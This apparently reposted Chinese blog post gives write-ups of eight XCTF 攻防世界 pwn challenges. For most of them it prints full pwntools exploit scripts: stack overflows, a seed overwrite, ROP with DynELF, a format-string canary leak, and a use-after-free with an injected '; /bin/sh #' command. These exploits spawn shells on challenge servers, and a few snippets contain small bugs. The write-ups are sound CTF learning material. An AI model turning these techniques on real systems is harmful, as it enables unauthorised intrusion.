攻防世界 适合做桌面

编程入门 行业动态 更新时间:2024-10-12 22:30:11

<a href=https://www.elefans.com/category/jswz/34/1767336.html style=攻防世界 适合做桌面"/>

攻防世界 适合做桌面

歇了很长一段时间,终于开始了我的攻防世界pwn之路。

立一个flag:每日一题,只能多不能少。

0x00 dice_game

检查保护

image.png

查看逻辑,这是一个猜数游戏,猜对50次就可以得到flag。

关键点就在这个随机数种子,如果把这个种子设成0,又给了libc.so.6,那么这个随机数就在我们的掌控那个范围内了。

image.png

漏洞点在read函数,分配了0x50大小的空间,buf分配了55,这里看到buf与seed偏移为0x40。

image.png

exp:

#-*- coding:utf-8 -*-

from pwn import *

from ctypes import *

#p = process('./dice_game')

p = remote('111.198.29.45',31226)

payload = 'a'*0x40 + p64(0)

lib = cdll.LoadLibrary('libc.so.6')

p.recvuntil("Welcome, let me know your name: ")

p.sendline(payload)

a=[]

for i in range(50):

a.append(lib.rand()%6+1)

#print(a)

for i in a:

p.recvuntil("Give me the point(1~6): ")

p.sendline(str(i))

p.interactive()

0x01 warmup

这里没有源码就很***啊,我在BUU上找到了源码,还是假吧意思查看保护。

image.png

image.png

很明显gets可以溢出,sub_40060D泄露system地址,然后一把梭。

exp:

#-*- coding:utf-8-*

from pwn import *

p = remote('111.198.29.45',40497)

#p = process('./warmup_csaw_2016')

padding = 0x40 + 8

sys_addr = 0x40060d

payload = 'a'*padding + p64(sys_addr)

print payload

p.sendline(payload)

p.interactive()

0x02 forgot

检查保护

image.png

简单看一下逻辑,一直看发现有点绕,跳到最后看到一个(*(&v3 + --v14))();,这里调用了函数返回一些字符串,又找到一个system('cat flag')的函数,那么这道题就是需要覆盖v3的地址为system的地址,就是一个got表的覆盖吧。

image.png

这里有两种方法覆盖,一:在输入name时覆盖;二:在输入邮箱时覆盖。这里使用第二种,发现v2与v3偏移是32。

image.png

exp:

#-*-coding:utf-8-*-

from pwn import *

#p = process('./forgot')

p = remote('111.198.29.45',41636)

sys_addr = 0x80486cc

payload = 'A'* 32 + p32(sys_addr)

print p.recvuntil('> ')

p.sendline('a')

print p.recvuntil('> ')

p.sendline(payload)

print p.recv()

0x03 stack2

检查保护

image.png

IDA分析逻辑,得知,这是一个简单的运算器的程序,那么漏洞点在哪里呢?

仔细分析发现了这里的v13没有检查长度。可以利用,又看到了system('\bin\bash');

是不是很高兴。OK了?

image.png

现在主要就是找偏移了,这里学习了其他大佬的WP复现的。使用IDA动态调试。

首先在漏洞点下断点,再在程序结束后的return下断点

image.png

查看EBP,得到栈基址FF8FC1A8。

image.png

单步往下走,到输入函数是输入5,查看栈情况,往下找,找到栈顶地址为FF8FC22C,

image.png

这我们就找到偏移量为:hex(0xFF8FC22C-0xFF8FC1A8) = 0x84

写了脚本还是不对。。。。万恶的出题人。。。

找到官方WP,得知如下。需要sh。

image.png

这里0x080848980是‘/bin/bash’, 这里是一个char型数组,那么sh就是第八个元素,command[7],所以地址应该是0x08048987。

image.png

地址为小端序存储,并且是char类型,占一个字节,所以按一字节分割地址,倒序发送。首先发送system地址,再发送sh地址把sh写入栈中。

exp

#-*-coding:utf-8-*-

from pwn import *

#p = process('./stack2')

p = remote('111.198.29.45',46611)

offest = 0x84

system_plt_addr = 0x08048450

sh_addr = 0x08048980+7

def write_addr(offest,res):

p.sendline('3')

p.recvuntil("which number to change:")

p.sendline(str(offest))

p.recvuntil("new number:")

p.sendline(str(res))

p.recvuntil("5. exit")

p.recvuntil("How many numbers you have:")

p.sendline('1')

p.recvuntil("Give me your numbers")

p.sendline('2')

p.recvuntil("5. exit")

#写入system_plt_addr

write_addr(offest,0x50)

write_addr(offest+1,0x84)

write_addr(offest+2,0x04)

write_addr(offest+3,0x08)

#写入sh_addr

offest += 8

write_addr(offest,0x87)

write_addr(offest+1,0x89)

write_addr(offest+2,0x04)

write_addr(offest+3,0x08)

p.sendline('5')

p.interactive()

0x04 pwn-100

这道题学到了很多东西:DynELF模块泄露system地址,栈恢复 ,rop链 。

检查保护

image.png

首先是寻找漏洞点,很简单,read()造成栈溢出,偏移也容易找到为 0x40+8 。

利用思路:

无libc,system。这时就可以利用pwntools里的DynELF模块泄露system地址,再写入'/bin/sh' ,最后调用system。

首先找到 pop rdi ; ret ,注意:x64中,主要使用__libc_csu_init中的两段代码来进行参数传递和函数调用,这两段代码分别位于0x400740和0x40075a,并且这两段代码执行后会将栈移动56字节,使用后需要再填充56字节。

:~/桌面/temp/功放世界$ ROPgadget --binary pwn-100 --only "pop|ret" | grep "rdi"

0x0000000000400763 : pop rdi ; ret

再找可写入的地址: 0x00600e10 ~ 0x00601068

gdb-peda$ vmmap

Warning: not running

Start End Perm Name

0x004004c8 0x0040077d rx-p /home/dj/桌面/temp/功放世界/pwn-100

0x00400238 0x00400904 r--p /home/dj/桌面/temp/功放世界/pwn-100

0x00600e10 0x00601068 rw-p /home/dj/桌面/temp/功放世界/pwn-100

我们使用DyELF循环泄露地址,每次循环一次就调用start(就是main()函数执行之前所作的事情)进行栈恢复。这里有DynELF的exp模板

exp

#-*-coding:utf-8 -*-

from pwn import *

p = remote('111.198.29.45',40827)

#p = process('./pwn-100')

elf = ELF('./pwn-100')

start_addr = 0x400550

pop_rdi_ret = 0x400763

rop1 = 0x0400740

rop2 = 0x040075a

write_addr = 0x60107c #在这个范围内(0x00600e10 , 0x00601068)都可以

puts_addr = elf.plt['puts']

read_addr = elf.got['read']

def leak(addr):

payload = 'a'*0x48

payload += p64(pop_rdi_ret) + p64(addr) + p64(puts_addr) + p64(start_addr)

payload = payload.ljust(200,'a')

#循环泄露地址,payload填充为200字节。

p.send(payload)

p.recvuntil("bye~\n")

count = 0

up = ""

data = ''

while True:

c = p.recv(numb = 1,timeout = 0.5)#等待0.5s接收输出

count +=1

if up == '\n' and c == '':

data = data[:-1]

data += '\x00'

break

else:

data += c

up = c

data = data[:8]

log.info("%#x => %s" % (addr, (data or '').encode('hex')))

return data

#泄露system地址

d = DynELF(leak, elf=elf)

sys_addr = d.lookup('__libc_system','libc')

print 'sys_addr:',hex(sys_addr)

print "write /bin/sh to bss"

#构造read函数payload

payload1 = 'a'*0x48

payload1 += p64(rop2) + p64(0) + p64(1)

payload1 + p64(read_addr) + p64(8) + p64(write_addr) + p64(0) + p64(rop1)

payload1 += 'a' * 56 + p64(start_addr) # 填充56字节

payload1 = payload1.ljust(200,'a')

p.send(payload1)

print p.recvuntil('bye~\n')

#写入‘/bin/sh’

p.send("/bin/sh\x00")

#调用system()

payload2 = 'a'*0x48 + p64(pop_rdi_ret) + p64(write_addr) + p64(sys_addr) + p64(start_addr)

payload2 = payload2.ljust(200,'a')

p.send(payload2)

p.interactive()

0x05 Mary_morton

检查保护

image.png

分析逻辑,其中一个格式化字符漏洞,一个栈溢出,还有system('cat flag')。但是程序开启了canary保护。红色框出来的就是canary保护,如果rax与0x28异或不等于0就运行___stack_chk_fail,程序检测异常直接退出。

image.png

利用思路:

通过格式化字符漏洞获得canary值,在利用栈溢出布局栈结构把canary放上去,绕过保护后调用system()。

OK,先分析格式化字符漏洞的偏移,buf与v2连续,得到buf大小为0x90-0x8 = 0x88,由于是64位程序,在写入参数是先传入那六个寄存器(rdi,rsi,rdx,rcx,r8,r9 ),所以偏移为 0x88 / 8 + 6 = 23 字节 。

image.png

再分析栈溢出的偏移,这里不用传参,直接就是buf的大小:0x88 。

image.png

exp

#-*- coding:utf-8 -*-

from pwn import *

p = remote('111.198.29.45',35986)

#p = process('./Mary_Morton')

sys_addr = 0x04008DA

p.recvuntil('3. Exit the battle ')

p.sendline('2')

p.sendline('%23$p') # 格式化字符串可以使用一种特殊的表示形式来指定处理第n个参数

# %后加输出的第几个值,$后加以什么形式输出,这里需要输出地址就使用p。

sleep(0.5)

p.recvuntil('0x')

canary = int(p.recv(16),16)

print "canary_addr = ",hex(canary)

p.recvuntil('3. Exit the battle ')

p.sendline('1')

payload = 'a'*0x88 + p64(canary) + 'a'*8 + p64(sys_addr) #

p.sendline(payload)

p.interactive()

0x06 monkey

一脸懵逼,查看WP,直接os.system('/bin/sh') ,就得到shell了,js咱也不会啊。

0x07 time_formatter

终于做到堆题了,日常自闭。

IDA 分析,程序有五个功能

image.png

第一个函数跟进里面有个strdup()函数,strdup()说明:返回指向被复制的字符串的指针,所需空间由malloc()分配且可以由free()释放。这里就是通过malloc()给ptr分配空间。

image.png

还看到这里有设置输出时间的类型,其实就是date命令的参数。

image.png

第二个貌似没什么用,就不分析了,看到第三个函数,又是通过malloc()给value分配空间。

image.png

第四个函数是对设置的时间格式输出,我们看到我们的输入会放到下面的system()中执行。

image.png

第五个函数这里就有一个UAF (Use After Free)漏洞,是先free()再询问是否真的退出。

image.png

所以我们利用这个漏洞,先调用第一个函数,然后free()掉,再调用第二个函数时传入 ';/bin/sh #\ ,这里注意命令的闭合。这里value就重用了刚刚没有内存回收的ptr块。再调用第四个函数将刚刚value的值作为system()的参数。就得到了shell。

exp:

#-*-coding: utf-8-*-

from pwn import *

p = remote('111.198.29.45',43208)

#p = process('./time_formatter')

print p.recvuntil('> ')

p.sendline('1')

print p.recvuntil('Format: ')

p.sendline('%F')

print p.recvuntil('> ')

p.sendline('5')

print p.recvuntil('Are you sure you want to exit (y/N)? ')

p.sendline('N')

print p.recvuntil('> ')

p.sendline('3')

print p.recvuntil('Time zone: ')

p.sendline("';/bin/sh #")

print p.recvuntil('> ')

p.sendline('4')

p.sendline('cat flag')

print p.recv()

更多推荐

攻防世界 适合做桌面

本文发布于:2024-02-14 12:15:43,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1763123.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:攻防   适合做   桌面   世界

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!